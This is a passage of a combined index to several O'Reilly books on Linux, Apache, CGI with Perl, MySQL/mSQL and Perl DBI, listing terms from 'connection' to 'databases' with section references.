connection.hostname attribute: 20.2. Module: mSQL (MySQL & mSQL)
connection.listdbs( ) method: 20.2. Module: mSQL (MySQL & mSQL)
connection.listtables( ) method: 20.1. Module: MySQL (MySQL & mSQL)
20.2. Module: mSQL (MySQL & mSQL)
connection.query( ) method: 20.1. Module: MySQL (MySQL & mSQL)
20.2. Module: mSQL (MySQL & mSQL)
connections
to DBI databases: 10.4.1.1. Connecting to DBI (CGI Programming with Perl)
server to browser
closing: 11. Maintaining State (CGI Programming with Perl)
staying open across multiple requests: 11. Maintaining State (CGI Programming with Perl)
sockets listening for: 14.1.1. Sockets (CGI Programming with Perl)
connection.selectdb( ) method: 20.1. Module: MySQL (MySQL & mSQL)
20.2. Module: mSQL (MySQL & mSQL)
connection.serverinfo attribute: 20.2. Module: mSQL (MySQL & mSQL)
ConNExS: 5.6.2.4. Programming interfaces (MySQL & mSQL)
consoles
Alpha system software: C.4.2. CPU, Support Chipset, Board, and System Identification (Running Linux)
drivers: 7.4.2. Building the Kernel (Running Linux)
Linux/SPARC systems: F.4. Installation from a Serial Console (Running Linux)
F.6. Bootable Devices and Consoles (Running Linux)
virtual: 4.3. Virtual Consoles (Running Linux)
5.3.3. rc files (Running Linux)
8.5. Setting Terminal Attributes (Running Linux)
constant module: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
constant-width text: 16.1.4.6. More HTML features (Running Linux)
construct_server( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
construct_url( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
Content-base field: 2.4.2.1. Content-Base (CGI Programming with Perl)
Content-encoding header: 6.4. Type Maps (Apache: The Definitive Guide)
content (HTTP messages): 2.2.1. The Request and Response Cycle (CGI Programming with Perl)
separating from header with blank line: 2.2.2. HTTP Headers (CGI Programming with Perl)
Content-language header: 6.4. Type Maps (Apache: The Definitive Guide)
Content-length header: 6.4. Type Maps (Apache: The Definitive Guide)
Content-length headers: 2.3.2.2. Content-Length (CGI Programming with Perl)
2.4.2.2. Content-Length (CGI Programming with Perl)
POST requests and: 3.1.1.1. STDIN (CGI Programming with Perl)
content negotiation: 6.2. Content Negotiation (Apache: The Definitive Guide)
2.6. Content Negotiation (CGI Programming with Perl)
encoding: 2.6.3. Encoding (CGI Programming with Perl)
internationalization: 2.6.2. Internationalization (CGI Programming with Perl)
media type: 2.6.1. Media Type (CGI Programming with Perl)
2.6.1. Media Type (CGI Programming with Perl)
(see also media types)
Content-type directive: 6.4. Type Maps (Apache: The Definitive Guide)
Content-Type header: 4.2. Writing and Executing Scripts (Apache: The Definitive Guide)
4.2. Writing and Executing Scripts (Apache: The Definitive Guide)
Content-type headers: 2.4.2.3. Content-Type (CGI Programming with Perl)
3.3.1.1. Outputting documents (CGI Programming with Perl)
CGI scripts, returning: 3.3.1. Partial Headers (CGI Programming with Perl)
complete headers, including in: Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
error status codes, returning with: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
header method, returning with: 5.3.1.1. Media type (CGI Programming with Perl)
malformed: 15.1.4. "Malformed" Header (CGI Programming with Perl)
media types, specifying in: 2.6.1. Media Type (CGI Programming with Perl)
Content-type HTTP header: 9.3.6. Standard Output (MySQL & mSQL)
content types
Accept method, evaluation of: 5.2.1.1. Accept (CGI Programming with Perl)
files, Mason module and: 6.5.1. A Component Approach (CGI Programming with Perl)
image/jpeg: 13.5.4. Image Processing (CGI Programming with Perl)
CONTENT_LENGTH environment variable: 9.3.3. Standard Input (MySQL & mSQL)
contents, file (see files)
CONTENT_TYPE environment variable: 9.3.3. Standard Input (MySQL & mSQL)
continue command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
continue command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
continue command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
continue command (gdb): 14.1.6.1. Breakpoints and watchpoints (Running Linux)
Control Center, GNOME (see GNOME, Control Center)
Control Center, KDE (see KDE, Control Center)
control-panel program: 3.2.1. Creating a User Account (Running Linux)
15.1.3.2. The networking rc files (Running Linux)
control structures (Perl), enclosing bracket pairs (Embperl): 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
controller, hard drive: 3.3.2.2. Problems recognizing hard drive or controller (Running Linux)
controllers, SCSI (see SCSI drive controllers)
controlling access (see access control)
CONV( ) function: 15.1. MySQL SQL (MySQL & mSQL)
conv option (mount): 12.1.1. Mounting DOS, VFAT, and NTFS Partitions (Running Linux)
conversion
c programs, from mSQL to MySQL: 13. C and C++ (MySQL & mSQL)
from one base to another: 15.1. MySQL SQL (MySQL & mSQL)
convert utility (ImageMagick): 9.4.1. ImageMagick (Running Linux)
converting PNGs to GIFs or JPEGs: 13.5.2. Converting PNGs to GIFs or JPEGs (CGI Programming with Perl)
converting .Z files to .gz: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Cookie header: 2.3.2.8. Cookies (CGI Programming with Perl)
11.3.1. Setting Cookies (CGI Programming with Perl)
11.3.1. Setting Cookies (CGI Programming with Perl)
CookieExpires directive: 5.10.5. CookieExpires (Apache: The Definitive Guide)
CookieLog directive: 5.10.3. CookieLog (Apache: The Definitive Guide)
cookies: 5.10.2. Cookies (Apache: The Definitive Guide)
9.4.1. State Retention (MySQL & mSQL)
HTTP_COOKIE environment variable: 3.2.2. Examining Environment Variables (CGI Programming with Perl)
maintaining state with: 11.3. Client-Side Cookies (CGI Programming with Perl)
setting cookies: 11.3.1. Setting Cookies (CGI Programming with Perl)
testing for: 11.3.2. Testing for Cookies (CGI Programming with Perl)
restrictions on: 11.3. Client-Side Cookies (CGI Programming with Perl)
Set-cookie field: 2.4.2.9. Set-Cookie (CGI Programming with Perl)
storing unique identifiers in: 11. Maintaining State (CGI Programming with Perl)
Cookies tab, KDE Control Center: 16.3.1.3. Web browser (Linux in a Nutshell)
cookie_test.cgi scrip (example): 11.3.2. Testing for Cookies (CGI Programming with Perl)
CookieTracking directive: 5.10.4. CookieTracking (Apache: The Definitive Guide)
coordinates, changing for titles of GD images: 13.4.1.1. GD::Text::Align (CGI Programming with Perl)
coprocesses: 7.3.7. Coprocesses (Linux in a Nutshell)
copy command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
copy database newdatabase command: 17.2. mSQL Utilities (MySQL & mSQL)
copy_array( ): 14.6.2. Array Functions (Apache: The Definitive Guide)
copy_array_hdr( ): 14.6.2. Array Functions (Apache: The Definitive Guide)
copying: 9.2.4. Deleting, Copying, and Moving Text (Running Linux)
(see also cutting and pasting)
directory hierarchies with tar: 7.1.4. tar Tricks (Running Linux)
copying files: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
file archives: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
copying text, vi commands for: 11.5.2. Changing and Deleting Text (Linux in a Nutshell)
copyleft (see GPL)
copy_listeners( ): 14.1. Pools (Apache: The Definitive Guide)
copyright, Linux: 1.6. About Linux's Copyright (Running Linux)
copyright notice, displaying with image: 3.4.3. Restricting Image Hijacking (CGI Programming with Perl)
copy_table( ): 14.6.3. Table Functions (Apache: The Definitive Guide)
CORBA and GNOME: 15. GNOME (Linux in a Nutshell)
CORBA system: B.5.2. The Common Object Request Broker Architecture (CORBA) (Running Linux)
core files: 1.4.3. Kernel (Running Linux)
1.5.4. Programming Languages and Utilities (Running Linux)
14.1.1. Tracing a Program (Running Linux)
14.1.1. Tracing a Program (Running Linux)
14.1.2. Examining a Core File (Running Linux)
CoreDumpDirectory directive: 3.4.11. CoreDumpDirectory (Apache: The Definitive Guide)
Corel WordPerfect: 1.5.3. Commercial Applications (Running Linux)
9.3.4. Word Processors (Running Linux)
12.1.5. File Translation Utilities (Running Linux)
correct variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
corrupt data: 4.6.1.1. Repairing damaged tables (MySQL & mSQL)
corrupt files: 8.1.1.3. To gzip, or not to gzip? (Running Linux)
8.6.2. Accessing Damaged Files (Running Linux)
corrupted files: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
cos( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
cos command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
cost of Linux: 1. Introduction to Linux (Running Linux)
1.3. Who's Using Linux? (Running Linux)
1.6. About Linux's Copyright (Running Linux)
1.8.4. Other Implementations of Unix (Running Linux)
COT( ) function: 15.1. MySQL SQL (MySQL & mSQL)
"couldn't determine user name" error: 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
count( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
count_dirs( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
counter modules: 12.3. Counters (Apache: The Definitive Guide)
counters, access: 6.2.6. Executing CGI Programs (CGI Programming with Perl)
counting text file elements: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
country codes: 6.3.2. Character Types (MySQL & mSQL)
cp command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
5.2.1. Using a Boot Floppy (Running Linux)
8.1. Making Backups (Running Linux)
CPAN (Comprehensive Perl Archive Network): B.1. CPAN (CGI Programming with Perl)
8.2.1.1. Setting up a proxy server (Programming the Perl DBI)
B.1. Acquiring the DBI and Drivers (Programming the Perl DBI)
HTML::Template information: 6.3.2. Summary (CGI Programming with Perl)
installing modules from: B.1.1. Installing Modules (CGI Programming with Perl)
open source modules for Perl: 1.3.1. Why Perl? (CGI Programming with Perl)
URI::URL module: 2.1.3. URL Encoding (CGI Programming with Perl)
cpio command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
cpio utility: 8.1.1.3. To gzip, or not to gzip? (Running Linux)
CP/M operating system: 12.2. Sharing Programs (Running Linux)
CPML (Compaq Portable Math Library): C.7.2. Performance and Library Tuning (Running Linux)
cpp preprocessor: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
imake interface: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
CPU
Alpha systems: C.4.2. CPU, Support Chipset, Board, and System Identification (Running Linux)
architectures: 1.4.2. A Bag of Features (Running Linux)
limiting for CGI scripts: 4.3.6. RLimitCPU (Apache: The Definitive Guide)
requirements for Linux: 1.9.1. Motherboard and CPU Requirements (Running Linux)
time: 4.18. Processes (Running Linux)
CPU load (see performance)
"crash-me" test: 7.6. Making Comparisons (MySQL & mSQL)
crashes (see core files)
CRC (cyclic redundancy check): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
create database command: 17.2. mSQL Utilities (MySQL & mSQL)
CREATE DATABASE statement: 15.1. MySQL SQL (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
create DATABASENAME command: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
Create DB command: 4.4.1.4. Server status (MySQL & mSQL)
CREATE FUNCTION command: 15.1. MySQL SQL (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
CREATE INDEX command: 15.1. MySQL SQL (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
CREATE SEQUENCE command: 10.4. MysqlPerl (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
CREATE statement: 15.1. MySQL SQL (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
create table command: 10.3.1. Creating a Database (CGI Programming with Perl)
10.4.2.1. Address book database creation script (CGI Programming with Perl)
CREATE TABLE statement: 2.4. Physical Database Design (MySQL & mSQL)
5.5.2. Backups (MySQL & mSQL)
10.2. An Example DBI Application (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
createdb function: 21.3. Msql.pm API (MySQL & mSQL)
create_event( ): 14.6.9.3. Event Functions (Apache: The Definitive Guide)
create_semaphore( ): 14.6.9.2. Semaphore Functions (Apache: The Definitive Guide)
createStatement( ) method: 14.2. Simple Database Access (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
create_thread( ): 14.6.9.4. Thread Functions (Apache: The Definitive Guide)
creating databases: 10.3.1. Creating a Database (CGI Programming with Perl)
accessing and inserting data: 10.3.2. Inserting Data (CGI Programming with Perl)
CRLF (carriage return and line feed): 1.3.2. Alternatives to CGI (CGI Programming with Perl)
1.4. What the Client Does (Apache: The Definitive Guide)
operating systems and HTTP header requirements: 3.3.1.1. Outputting documents (CGI Programming with Perl)
cron command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
cron directory: 8.2. Scheduling Jobs Using cron (Running Linux)
cron utility: 8.2. Scheduling Jobs Using cron (Running Linux)
crontab command (see cron utility)
8.2. Scheduling Jobs Using cron (Running Linux)
CROSS keyword: 15.1. MySQL SQL (MySQL & mSQL)
crypt( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
Crypt::DES module: 8.2.2.3. Ciphers (Programming the Perl DBI)
Crypt::IDEA module: 8.2.2.3. Ciphers (Programming the Perl DBI)
cryptography (see encryption)
csh (C shell): 4.5. Shells (Running Linux)
13.3. Shell Programming (Running Linux)
csh shell: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
6.4. Differing Features (Linux in a Nutshell)
8. csh and tcsh (Linux in a Nutshell)
sample .cshrc file: 8.4.5. Sample .cshrc File (Linux in a Nutshell)
.cshrc file: 4.15. Startup Files (Running Linux)
csplit command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
CSV (comma-separated values): 2.4. Flat-File Databases (Programming the Perl DBI)
B. Driver and Database Characteristics (Programming the Perl DBI)
(see also DBD::CSV driver)
ctags command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ctime( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
Ctrl-Alt-Del sequence: 3.2.4. Shutting Down the System (Running Linux)
5.3.3. rc files (Running Linux)
5.5. Shutting Down the System (Running Linux)
Cur connections: 5.5.1.4. Server status (MySQL & mSQL)
current
time and date: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
working directory: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
current_time.cgi script (example): 6.3.1. Syntax (CGI Programming with Perl)
CURRENT_TIMESTAMP( ) function: 15.1. MySQL SQL (MySQL & mSQL)
current_time.tmpl (HTML template): 6.3.1. Syntax (CGI Programming with Perl)
cursor movement
Emacs commands for: 10.3.2. Cursor Movement Commands (Linux in a Nutshell)
vi commands for: 11.4. Movement Commands (Linux in a Nutshell)
CursorMove variable (fvwm2): 17.13.2. Moving the Pointer with Keystrokes (Linux in a Nutshell)
CursorName statement handle attribute: A.7.2. Statement Handle Attributes (Programming the Perl DBI)
cursors, fetching operations: 5.1.3. Fetching Data (Programming the Perl DBI)
customizing
Emacs: 9.2.2. Simple Editing Commands (Running Linux)
9.2.8. Tailoring Emacs (Running Linux)
14.1.6.3. Using Emacs with gdb (Running Linux)
fvwm: 11.2.2. More Customizations (Running Linux)
Linux session: 6.1.2. Customization of Your Linux Session (Linux in a Nutshell)
Netscape Navigator: 16.1.1. Using Netscape Navigator (Running Linux)
SSI output: 6.2.4. Tailoring SSI Output (CGI Programming with Perl)
X Windows System: 11. Customizing Your X Environment (Running Linux)
CustomLog directive: 11.5.4. CustomLog (Apache: The Definitive Guide)
13.7.15. CustomLog (Apache: The Definitive Guide)
cut command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
cutting (see yanking and pasting)
cutting and pasting: 11.4.7. Emacs (Running Linux)
in Emacs: 9.2.4. Deleting, Copying, and Moving Text (Running Linux)
in vi: 9.1.11. Moving Text, and Using Registers (Running Linux)
in xterm: 11.4.3. Cutting and Pasting Selections (Running Linux)
CVF-FAT extension to DOS-FAT: 6.1.1. Filesystem Types (Running Linux)
CVS and RCS, revision control systems: 16.1.1. Plan for Future Growth (CGI Programming with Perl)
CVS (Concurrent Version System): 14.2.8. Revision Control Tools--CVS (Running Linux)
over Internet: 14.2.8.3. CVS over the Internet (Running Linux)
CVS utility: 1.4. What This Book Offers (Linux in a Nutshell)
14. CVS and RCS (Linux in a Nutshell)
administrator commands: 14.3.8. Administrator Commands (Linux in a Nutshell)
administrator reference: 14.3. CVS Administrator Reference (Linux in a Nutshell)
basic concepts: 14.1. Basic Concepts (Linux in a Nutshell)
branches/forks: 14.1.4. Branching (Linux in a Nutshell)
client configuration files: 14.4.2. Configuring CVS (Linux in a Nutshell)
client options, common: 14.4.6. Common Client Options (Linux in a Nutshell)
command format: 14.2. The CVS Utility (Linux in a Nutshell)
confusing aspects of: 14.2.3. Gotchas (Linux in a Nutshell)
date formats: 14.4.6.1. Date formats (Linux in a Nutshell)
environment variables: 14.4.2. Configuring CVS (Linux in a Nutshell)
global options
client: 14.4.5. Client Global Options (Linux in a Nutshell)
common: 14.2.2. Common Global Options (Linux in a Nutshell)
server: 14.3.7. Global Server Option (Linux in a Nutshell)
importing
code snapshots: 14.3.5.1. Importing code snapshots (Linux in a Nutshell)
entire projects: 14.3.4.2. Bulk importing (Linux in a Nutshell)
from PVCS: 14.3.5.4. Importing from PVCS (Linux in a Nutshell)
from RCS: 14.3.5.2. Importing from RCS (Linux in a Nutshell)
from SCCS: 14.3.5.3. Importing from SCCS (Linux in a Nutshell)
keyword substitutions: 14.4.6.2. Keyword substitutions (Linux in a Nutshell)
locking model: 14.1.1. Locking and Merging (Linux in a Nutshell)
logical modules: 14.3.3.9. The modules file (Linux in a Nutshell)
merging model: 14.1.1. Locking and Merging (Linux in a Nutshell)
repositories: 14.1. Basic Concepts (Linux in a Nutshell)
changing directories/files: 14.3.4. Hacking the Repository (Linux in a Nutshell)
configuration information: 14.3.3.4. The config file (Linux in a Nutshell)
creating: 14.3.1. Creating a Repository (Linux in a Nutshell)
initializing: 14.3.8.2. init (Linux in a Nutshell)
notification of changes to: 14.3.3.8. The loginfo file (Linux in a Nutshell)
structure of: 14.3.3. Repository Structure (Linux in a Nutshell)
repository locators: 14.3.3.11. The passwd file (Linux in a Nutshell)
14.3.6. Using an Interim Shared Sandbox (Linux in a Nutshell)
14.4.1. Repository Locators (Linux in a Nutshell)
sandboxes: 14.1. Basic Concepts (Linux in a Nutshell)
creating: 14.4.3. Creating a Sandbox (Linux in a Nutshell)
directories/files in: 14.4.4. Sandbox Structure (Linux in a Nutshell)
interim shared: 14.3.6. Using an Interim Shared Sandbox (Linux in a Nutshell)
release -d command, use with caution: 14.4.7.16. release (Linux in a Nutshell)
security issues: 14.3.2. Security Issues (Linux in a Nutshell)
specifying ranges: 14.3.8.1. admin (Linux in a Nutshell)
tracking files: 14.1.3. Tagging (Linux in a Nutshell)
user commands: 14.4.7. User Commands (Linux in a Nutshell)
user reference: 14.4. CVS User Reference (Linux in a Nutshell)
$CVS_CLIENT_LOG environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
$CVS_CLIENT_PORT environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
$CVSEDITOR environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
cvsignore administrative file: 14.3.3.5. The cvsignore file (Linux in a Nutshell)
.cvsignore configuration file: 14.4.2. Configuring CVS (Linux in a Nutshell)
$CVSIGNORE environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
$CVS_IGNORE_REMOTE_ROOT environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
.cvspass file: 14.4.2. Configuring CVS (Linux in a Nutshell)
$CVS_PASSFILE environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
.cvsrc file: 14.4.2. Configuring CVS (Linux in a Nutshell)
$CVS_RCMD_PORT environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
$CVSREAD environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
CVSROOT directory: 14.3.3.1. The CVSROOT directory (Linux in a Nutshell)
administrative files in: 14.3.3.1. The CVSROOT directory (Linux in a Nutshell)
CVSROOT environment variable: 14.2.8.1. Setting up a CVS repository (Running Linux)
$CVS_RSH environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
$CVS_SERVER environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
$CVS_SERVER_SLEEP environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
$CVSUMASK environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
cvswrappers administrative file: 14.3.3.6. The cvswrappers file (Linux in a Nutshell)
.cvswrappers configuration file: 14.4.2. Configuring CVS (Linux in a Nutshell)
$CVSWRAPPERS environment variable: 14.4.2. Configuring CVS (Linux in a Nutshell)
cwd variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
cyclic redundancy check (CRC): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
cylinders: 3.1.1. Booting Linux (Running Linux)
3.1.3. Creating Linux Partitions (Running Linux)
3.3.2.2. Problems recognizing hard drive or controller (Running Linux)
3.3.2.3. Problems with SCSI controllers and devices (Running Linux)
cylinders= option (LILO): G.1. Global Options (Running Linux)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: D

= comparison operator: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
-d flag
ActiveState Perl debugger, invoking: 15.3.5.3. ActiveState Perl debugger (CGI Programming with Perl)
using for interactive session: 15.3.5.1. The Perl debugger (CGI Programming with Perl)
-dir option: 12.3. Inverted Index Search (CGI Programming with Perl)
D command (sed): 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
-d flag (httpd/apache): 2.2. Apache's Flags (Apache: The Definitive Guide)
3.4.8. ServerRoot (Apache: The Definitive Guide)
daemons: 2.2. Overview of Networking (Linux in a Nutshell)
4.17. Programs That Serve You (Running Linux)
4.17. Programs That Serve You (Running Linux)
commands for: 2.1.2. Daemons (Linux in a Nutshell)
NFS: 2.5.2. Daemons (Linux in a Nutshell)
routing: 2.3.2.2. Routing daemons (Linux in a Nutshell)
turning Perl CGI application into: 17. Efficiency and Optimization (CGI Programming with Perl)
damaged files: 8.6.2. Accessing Damaged Files (Running Linux)
DANG file: 12.2.3. Installing and Configuring Dosemu (Running Linux)
dash (-) or period (.), starting filenames with: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
Data( ): 7.4.2. Win32::ODBC (Programming the Perl DBI)
data collection, forms: 4. Forms and CGI (CGI Programming with Perl)
data directory: 4.4.1.2. Database destruction (MySQL & mSQL)
Data Display Debugger (DDD): 14.2.1. Debuggers (Running Linux)
data exchange, performing with JavaScript: 7.3. Data Exchange (CGI Programming with Perl)
online music browser (example): 7.3.2. Example (CGI Programming with Perl)
WDDX: 7.3.1. WDDX (CGI Programming with Perl)
data model
example: 2.2.7. More 2NF (MySQL & mSQL)
(MySQL & mSQL) 2.2.8. Third Normal Form (3NF)
logical: 2.1.3. Data Model (MySQL & mSQL)
methodology: 2.3. A Logical Data Modeling Methodology (MySQL & mSQL)
physical: 2.4. Physical Database Design (MySQL & mSQL)
data modification result screens (various): 10.4.2.2. Address book CGI script (CGI Programming with Perl)
data processing: 8.2. Data Processing (MySQL & mSQL)
data, protecting: D.2. Protecting Application Data (Apache: The Definitive Guide)
data source names: 4.3. Data Source Names (Programming the Perl DBI)
available_drivers( ): 4.3. Data Source Names (Programming the Perl DBI)
connect( ) and: 4.3. Data Source Names (Programming the Perl DBI)
6.1.2. Connecting with Attributes (Programming the Perl DBI)
data_sources( ): 4.3. Data Source Names (Programming the Perl DBI)
name=value pairs: 4.3. Data Source Names (Programming the Perl DBI)
data storage, security issues: 8.5. Data Storage (CGI Programming with Perl)
dynamic filenames: 8.5.1. Dynamic Filenames (CGI Programming with Perl)
file permissions: 8.5.3. File Permissions (CGI Programming with Perl)
location of files: 8.5.2. Location of Files (CGI Programming with Perl)
data structures, storing complex: 2.8. The MLDBM Module (Programming the Perl DBI)
data transmission, verifying: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
data types: 7.3.1. WDDX (CGI Programming with Perl)
(see also arrays, hashes, scalars)
characters, padding fields for: 10.3.1. Creating a Database (CGI Programming with Perl)
data structures, printing with Data::Dumper module: 15.3.4. Dumping Variables (CGI Programming with Perl)
Perl vs. WDDX: 7.3.1. WDDX (CGI Programming with Perl)
strict variables, Perl language and: 1.3.1. Why Perl? (CGI Programming with Perl)
WDDX, summary of: 7.3.1. WDDX (CGI Programming with Perl)
data warehousing: 1.1. From Mainframes to Workstations (Programming the Perl DBI)
3.1. The Relational Database Methodology (Programming the Perl DBI)
3.4. Modifying Data Within Tables (Programming the Perl DBI)
database drivers
connection syntax examples
CSV: 4.3. Data Source Names (Programming the Perl DBI)
mSQL: 4.3. Data Source Names (Programming the Perl DBI)
Oracle: 4.3. Data Source Names (Programming the Perl DBI)
DBI: 4.1. DBI Architecture (Programming the Perl DBI)
B.1. Acquiring the DBI and Drivers (Programming the Perl DBI)
prefixes: 4.3. Data Source Names (Programming the Perl DBI)
6.1.3. The Significance of Case (Programming the Perl DBI)
A.2.5. Naming Conventions and Name Space (Programming the Perl DBI)
standard: 4.3. Data Source Names (Programming the Perl DBI)
database function: 21.3. Msql.pm API (MySQL & mSQL)
database handles: 4.2.2. Database Handles (Programming the Perl DBI)
atomic fetching and: 5.6.1. Atomic Fetching (Programming the Perl DBI)
attributes: 6.1.5. Database Handle Attributes (Programming the Perl DBI)
connecting with: 6.1.2. Connecting with Attributes (Programming the Perl DBI)
driver-specific: 6.1. Handle Attributes and Metadata (Programming the Perl DBI)
6.1.3. The Significance of Case (Programming the Perl DBI)
error checking: 6.1.4. Common Attributes (Programming the Perl DBI)
getting or setting values: 6.1. Handle Attributes and Metadata (Programming the Perl DBI)
passing to DBI methods: 6.1.1. Passing Attributes to DBI Methods (Programming the Perl DBI)
$dbh: 4.2.2. Database Handles (Programming the Perl DBI)
retrieving entity metadata: 6.1.6. Database Metadata (Programming the Perl DBI)
database-independent API: 10.1. DBI (MySQL & mSQL)
in Java: 14. Java and JDBC (MySQL & mSQL)
database-independent programming interfaces: 1.1. From Mainframes to Workstations (Programming the Perl DBI)
7. ODBC and the DBI (Programming the Perl DBI)
database-level meta-data: 11.2. Dynamic Connectivity (MySQL & mSQL)
11.2.2. Database Meta-data (MySQL & mSQL)
Database Management System (DBMS): 1.1. What Is a Database? (MySQL & mSQL)
database metadata: 6.1.6. Database Metadata (Programming the Perl DBI)
database server: 4.4. Database Administration (MySQL & mSQL)
Database status: 5.5.1.4. Server status (MySQL & mSQL)
DatabaseMetaData interface: 22. JDBC Reference (MySQL & mSQL)
databases
accessing: 13.2.1. The Database Connection (MySQL & mSQL)
accessing using proxying: 8.2. Database Proxying (Programming the Perl DBI)
accessing with JDBC API: 14.2. Simple Database Access (MySQL & mSQL)
applications, client/server architecture: 8.1. The Client/Server Architecture (MySQL & mSQL)
backups: 4.4.2. Backups (MySQL & mSQL)
basic attributes: 2. Basic Non-DBI Databases (Programming the Perl DBI)
Berkeley (see Berkeley databases)
CGI considerations: 9.5. CGI and Databases (MySQL & mSQL)
closing connections: 14.2.1. Error Handling and Clean Up (MySQL & mSQL)
committing changes: 6.3. Transactions, Locking, and Isolation (Programming the Perl DBI)
concurrent access to: 2.6. Concurrent Database Access and Locking (Programming the Perl DBI)
connecting to: 4.4.1. Connection (Programming the Perl DBI)
requirements: 4.4.1. Connection (Programming the Perl DBI)
with dbish: 8.1.1. Starting Up dbish (Programming the Perl DBI)
consolidating with CGI middleware: 14. Middleware and XML (CGI Programming with Perl)
conversion utilities: 4.5.2.1. Database conversion utilities (MySQL & mSQL)
creating: 10.3.1. Creating a Database (CGI Programming with Perl)
5.5.1.1. Database creation (MySQL & mSQL)
accessing data: 10.3.3. Accessing Data (CGI Programming with Perl)
inserting data: 10.3.2. Inserting Data (CGI Programming with Perl)
creating new tables: 3.5. Creating and Destroying Tables (Programming the Perl DBI)
cursors: 5.1.3. Fetching Data (Programming the Perl DBI)
database handles: 10.1. DBI (MySQL & mSQL)
11.1. Basic Connectivity (MySQL & mSQL)
DBI
connecting to: 10.4.1.1. Connecting to DBI (CGI Programming with Perl)
manipulation of: 10.4.1.2. Database manipulation (CGI Programming with Perl)
querying: 10.4.1.3. Database querying (CGI Programming with Perl)
definition: 1.1. What Is a Database? (MySQL & mSQL)
1.1. What Is a Database? (MySQL & mSQL)
deleting data from: 10.3.5. Deleting Data (CGI Programming with Perl)
deleting tables: 3.5. Creating and Destroying Tables (Programming the Perl DBI)
3.5. Creating and Destroying Tables (Programming the Perl DBI)
designing: 2.1. Database Design (MySQL & mSQL)
disconnecting from: 4.4.2. Disconnection (Programming the Perl DBI)
6.3.4. Disconnecting, One Way or Another (Programming the Perl DBI)
13.2.1.2. Disconnecting from the database (MySQL & mSQL)
evolution from mainframes to workstations: 1.1. From Mainframes to Workstations (Programming the Perl DBI)
executing SQL statements: 5.1.2. Executing Select Statements (Programming the Perl DBI)
extracting table information, example: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
fetching data: 5.1. Issuing Simple Queries (Programming the Perl DBI)
using DBI: 5.1.3. Fetching Data (Programming the Perl DBI)
file locking: 2.6. Concurrent Database Access and Locking (Programming the Perl DBI)
